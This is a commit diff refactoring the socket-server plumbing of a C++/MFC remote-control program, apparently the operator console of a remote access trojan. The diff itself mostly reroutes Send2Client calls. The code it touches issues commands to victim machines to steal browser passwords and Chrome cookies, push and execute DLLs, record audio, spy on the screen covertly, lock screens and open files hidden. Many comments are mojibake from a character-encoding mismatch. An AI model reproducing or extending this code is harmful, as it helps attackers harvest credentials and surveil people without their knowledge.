layout: Refactor the socket server code
This commit is contained in:
@@ -22,7 +22,7 @@ CMy2015RemoteApp* GetThisApp() {
|
||||
}
|
||||
|
||||
config& GetThisCfg() {
|
||||
config *cfg = GetThisApp()->m_iniFile;
|
||||
config *cfg = GetThisApp()->GetCfg();
|
||||
return *cfg;
|
||||
}
|
||||
|
||||
@@ -77,7 +77,6 @@ CMy2015RemoteApp::CMy2015RemoteApp()
|
||||
m_Mutex = NULL;
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
|
||||
m_iocpServer = new IOCPServer();
|
||||
|
||||
srand(static_cast<unsigned int>(time(0)));
|
||||
}
|
||||
@@ -141,7 +140,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
||||
SetRegistryKey(_T("Remoter"));
|
||||
|
||||
CMy2015RemoteDlg dlg(m_iocpServer);
|
||||
CMy2015RemoteDlg dlg(nullptr);
|
||||
m_pMainWnd = &dlg;
|
||||
INT_PTR nResponse = dlg.DoModal();
|
||||
if (nResponse == IDOK)
|
||||
@@ -174,12 +173,8 @@ int CMy2015RemoteApp::ExitInstance()
|
||||
CloseHandle(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
}
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
m_iocpServer->Destroy();
|
||||
delete m_iocpServer;
|
||||
m_iocpServer = NULL;
|
||||
}
|
||||
Delete();
|
||||
|
||||
SAFE_DELETE(m_iniFile);
|
||||
|
||||
return CWinApp::ExitInstance();
|
||||
|
||||
@@ -18,20 +18,62 @@
|
||||
|
||||
class CMy2015RemoteApp : public CWinApp
|
||||
{
|
||||
private:
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ<EFBFBD><C8A1>
|
||||
config* m_iniFile = nullptr;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
std::vector<Server*> m_iocpServer;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE m_Mutex = nullptr;
|
||||
|
||||
public:
|
||||
CMy2015RemoteApp();
|
||||
config *m_iniFile;
|
||||
HANDLE m_Mutex;
|
||||
Server* m_iocpServer;
|
||||
|
||||
CImageList m_pImageList_Large; //ϵͳ<CFB5><CDB3>ͼ<EFBFBD><CDBC>
|
||||
CImageList m_pImageList_Small; //ϵͳСͼ<D0A1><CDBC>
|
||||
|
||||
// <20><>д
|
||||
public:
|
||||
virtual BOOL InitInstance();
|
||||
|
||||
// ʵ<><CAB5>
|
||||
config* GetCfg() const {
|
||||
return m_iniFile;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>0
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
||||
auto svr = new IOCPServer();
|
||||
UINT ret = svr->StartServer(NotifyProc, OffProc, uPort);
|
||||
if (ret != 0) {
|
||||
SAFE_DELETE(svr);
|
||||
return ret;
|
||||
}
|
||||
m_iocpServer.push_back(svr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// <20>ͷŷ<CDB7><C5B7><EFBFBD><EFBFBD><EFBFBD> SOCKET
|
||||
void Destroy() {
|
||||
for (int i=0; i<m_iocpServer.size(); ++i)
|
||||
{
|
||||
m_iocpServer[i]->Destroy();
|
||||
}
|
||||
}
|
||||
|
||||
// <20>ͷŷ<CDB7><C5B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
void Delete() {
|
||||
for (int i = 0; i < m_iocpServer.size(); ++i)
|
||||
{
|
||||
SAFE_DELETE(m_iocpServer[i]);
|
||||
}
|
||||
m_iocpServer.clear();
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void UpdateMaxConnection(int maxConn) {
|
||||
for (int i = 0; i < m_iocpServer.size(); ++i)
|
||||
{
|
||||
m_iocpServer[i]->UpdateMaxConnection(maxConn);
|
||||
}
|
||||
}
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
virtual int ExitInstance();
|
||||
|
||||
@@ -278,9 +278,8 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
|
||||
return result;
|
||||
}
|
||||
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
{
|
||||
m_iocpServer = iocpServer;
|
||||
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
m_hIcon = THIS_APP->LoadIcon(IDR_MAINFRAME);
|
||||
|
||||
@@ -1038,16 +1037,12 @@ void CMy2015RemoteDlg::Release(){
|
||||
for(int Pos = 0; Pos < n; ++Pos)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
||||
m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE));
|
||||
ContextObject->Send2Client( &bToken, sizeof(BYTE));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Sleep(500);
|
||||
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
m_iocpServer->Destroy();
|
||||
m_iocpServer = NULL;
|
||||
}
|
||||
THIS_APP->Destroy();
|
||||
g_2015RemoteDlg = NULL;
|
||||
SetEvent(m_hExit);
|
||||
CloseHandle(m_hExit);
|
||||
@@ -1449,7 +1444,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||
continue;
|
||||
}
|
||||
// 发送获得驱动器列表数据包
|
||||
m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength);
|
||||
ContextObject->Send2Client(szBuffer, ulLength);
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -1485,7 +1480,7 @@ void CMy2015RemoteDlg::OnMainSet()
|
||||
Dlg.DoModal(); //模态 阻塞
|
||||
if (nMaxConnection != Dlg.m_nMax_Connect)
|
||||
{
|
||||
m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect);
|
||||
THIS_APP->UpdateMaxConnection(Dlg.m_nMax_Connect);
|
||||
}
|
||||
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
|
||||
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
||||
@@ -1593,9 +1588,8 @@ std::vector<std::string> splitByNewline(const std::string& input) {
|
||||
|
||||
BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||
{
|
||||
assert(m_iocpServer);
|
||||
UINT ret = 0;
|
||||
if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
|
||||
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
|
||||
{
|
||||
Mprintf("======> StartServer Failed \n");
|
||||
char cmd[200];
|
||||
@@ -1735,7 +1729,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
resp[0] = 0;
|
||||
memcpy(resp+1, &dll, sizeof(DllSendData));
|
||||
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
|
||||
m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
|
||||
ContextObject->Send2Client(resp, 1 + sizeof(DllSendData) + dll.DataSize);
|
||||
SAFE_DELETE_ARRAY(resp);
|
||||
break;
|
||||
}
|
||||
@@ -1757,7 +1751,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
std::string hmac = genHMAC(hash, m_superPass);
|
||||
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
||||
resp[80] = 0;
|
||||
m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp));
|
||||
ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));
|
||||
break;
|
||||
}
|
||||
case CMD_EXECUTE_DLL: // 请求DLL
|
||||
@@ -1766,7 +1760,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
||||
DllInfo* dll = *i;
|
||||
if (dll->Name == info->Name) {
|
||||
return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length());
|
||||
return ContextObject->Send2Client( dll->Data->Buf(), dll->Data->length());
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1995,7 +1989,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
|
||||
HeartbeatACK ack = { hb.Time };
|
||||
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
||||
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
|
||||
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
|
||||
ctx->Send2Client(buf, sizeof(buf));
|
||||
}
|
||||
|
||||
CLock L(m_cs);
|
||||
@@ -2019,7 +2013,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
||||
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
|
||||
|
||||
if (ctx) {
|
||||
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
|
||||
ctx->Send2Client(buf, sizeof(buf));
|
||||
}
|
||||
else {
|
||||
EnterCriticalSection(&m_cs);
|
||||
@@ -2028,7 +2022,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
||||
if (!ContextObject->bLogin)
|
||||
continue;
|
||||
m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf));
|
||||
ContextObject->Send2Client(buf, sizeof(buf));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -2043,9 +2037,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
||||
char md5[33] = {};
|
||||
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
|
||||
if (!buf->MD5().empty() && md5 != buf->MD5())
|
||||
m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20));
|
||||
ContextObject->Send2Client( buf->Buf(), buf->length(len<=20));
|
||||
else {
|
||||
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */);
|
||||
ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2207,7 +2201,7 @@ void CMy2015RemoteDlg::OnMainProxy()
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||
BYTE cmd[] = { COMMAND_PROXY };
|
||||
m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd));
|
||||
ContextObject->Send2Client( cmd, sizeof(cmd));
|
||||
break;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
@@ -2557,7 +2551,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
|
||||
Buffer* buf = m_DllList[menuIndex]->Data;
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||
ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
@@ -125,7 +125,7 @@ protected:
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
public:
|
||||
CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CMy2015RemoteDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
~CMy2015RemoteDlg();
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||
@@ -150,7 +150,7 @@ public:
|
||||
template<class T, int id, int Show=SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
T* Dlg = new T(this, m_iocpServer, ContextObject);
|
||||
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
|
||||
Dlg->Create(id, GetDesktopWindow());
|
||||
Dlg->ShowWindow(Show);
|
||||
|
||||
@@ -193,7 +193,6 @@ public:
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
NOTIFYICONDATA m_Nid;
|
||||
HANDLE m_hExit;
|
||||
Server* m_iocpServer;
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
CMenu m_MainMenu;
|
||||
|
||||
@@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog()
|
||||
SetWindowText(strString);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
@@ -84,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
||||
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer != NULL && dwBufferSize > 0)
|
||||
This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||
This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||
}
|
||||
This->m_bThreadRun = FALSE;
|
||||
|
||||
|
||||
@@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog()
|
||||
m_editNewMsg.SetLimitText(4079);
|
||||
// TODO: Add extra initialization here
|
||||
BYTE bToken = COMMAND_NEXT_CHAT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
@@ -89,7 +89,7 @@ void CChat::OnButtonSend()
|
||||
return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
m_editTip.ShowWindow(SW_HIDE);
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
@@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
|
||||
{
|
||||
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CChat::OnBnClickedButton_UNLOCK()
|
||||
{
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -41,7 +41,7 @@ BOOL DecryptDlg::OnInitDialog() {
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
m_EditDecrypedResult.SetWindowTextA(CString("<<< <20><>ʾ: <20><><EFBFBD>ڲ˵<DAB2>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>>\r\n"));
|
||||
int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
|
||||
m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
|
||||
@@ -82,40 +82,40 @@ void DecryptDlg::OnSize(UINT nType, int cx, int cy)
|
||||
void DecryptDlg::OnDecryptChrome()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptEdge()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptSpeed360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecrypt360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptQQ()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptChromeCookies()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
@@ -19,6 +19,9 @@ static UINT indicators[] =
|
||||
ID_SEPARATOR
|
||||
};
|
||||
|
||||
#define MAX_SEND_BUFFER 65535
|
||||
#define MAX_RECV_BUFFER 65535
|
||||
|
||||
typedef struct {
|
||||
LVITEM* plvi;
|
||||
CString sCol2;
|
||||
@@ -1022,7 +1025,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
|
||||
bPacket[0] = COMMAND_LIST_FILES;
|
||||
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
||||
@@ -1481,7 +1484,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
|
||||
bPacket[0] = COMMAND_DOWN_FILES;
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1538,7 +1541,7 @@ BOOL CFileManagerDlg::SendUploadJob()
|
||||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||||
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
|
||||
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
|
||||
@@ -1569,7 +1572,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
|
||||
}
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1749,7 +1752,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
else
|
||||
{
|
||||
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1822,7 +1825,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
||||
dwOffsetLow += dwBytesWrite;
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1896,19 +1899,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
|
||||
void CFileManagerDlg::SendException()
|
||||
{
|
||||
BYTE bBuff = COMMAND_EXCEPTION;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendContinue()
|
||||
{
|
||||
BYTE bBuff = COMMAND_CONTINUE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendStop()
|
||||
{
|
||||
BYTE bBuff = COMMAND_STOP;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::ShowProgress()
|
||||
@@ -2068,7 +2071,7 @@ void CFileManagerDlg::SendTransferMode()
|
||||
BYTE bToken[5];
|
||||
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
||||
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
||||
m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client((unsigned char *)&bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendFileData()
|
||||
@@ -2113,7 +2116,7 @@ void CFileManagerDlg::SendFileData()
|
||||
if (nNumberOfBytesRead > 0)
|
||||
{
|
||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
}
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -2192,7 +2195,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
|
||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -2259,7 +2262,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
|
||||
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
|
||||
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
*pResult = 1;
|
||||
@@ -2328,7 +2331,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -2342,7 +2345,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
|
||||
@@ -29,8 +29,6 @@ typedef struct
|
||||
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||
|
||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
|
||||
#define WM_MY_MESSAGE (WM_USER+300)
|
||||
|
||||
|
||||
@@ -57,7 +57,7 @@ CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientC
|
||||
|
||||
CHideScreenSpyDlg::~CHideScreenSpyDlg() {
|
||||
m_bIsClosed = TRUE;
|
||||
m_iocpServer->Disconnect(m_ContextObject);
|
||||
